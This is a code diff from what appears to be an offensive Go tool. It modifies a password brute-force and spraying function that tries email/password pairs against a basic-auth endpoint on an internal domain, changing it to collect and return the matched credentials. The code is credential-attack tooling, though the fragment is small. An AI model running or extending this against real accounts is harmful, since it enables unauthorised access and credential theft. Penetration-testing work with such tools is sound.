@@ -11,10 +11,12 @@ import (
11
11
)
12
12
13
13
// Brute will bruteforce or spray passwords on the specified users.
14
- func (options * Options ) Brute () {
14
+ func (options * Options ) Brute () [] string {
15
15
log = options .Log
16
16
var emailList []string
17
17
var wg sync.WaitGroup
18
+ var validUsers []string
19
+ mux := & sync.Mutex {}
18
20
if options .CheckIfValid {
19
21
optionsEnum := * options
20
22
// Use office for enumeration
@@ -50,6 +52,9 @@ func (options *Options) Brute() {
50
52
if options .NoBruteforce {
51
53
if webRequestBasicAuth (urlToHarvest , internaldomain + "\\ " + email , passwordList [j ], tr ) == 200 {
52
54
log .Success (email + " / " + passwordList [j ] + " matched" )
55
+ mux .Lock ()
56
+ validUsers = append (validUsers , email + " / " + passwordList [j ])
57
+ mux .Unlock ()
53
58
54
59
} else {
55
60
log .Fail (email + " / " + passwordList [j ] + " does not matched" )
@@ -59,6 +64,9 @@ func (options *Options) Brute() {
59
64
for _ , password := range passwordList {
60
65
if webRequestBasicAuth (urlToHarvest , internaldomain + "\\ " + email , password , tr ) == 200 {
61
66
log .Success (email + " / " + password + " matched" )
67
+ mux .Lock ()
68
+ validUsers = append (validUsers , email + " / " + password )
69
+ mux .Unlock ()
62
70
break // No need to continue if password is valid
63
71
}
64
72
log .Fail (email + " / " + password + " does not matched" )
@@ -81,5 +89,6 @@ func (options *Options) Brute() {
81
89
82
90
close (queue )
83
91
wg .Wait ()
92
+ return validUsers
84
93
85
94
}
0 commit comments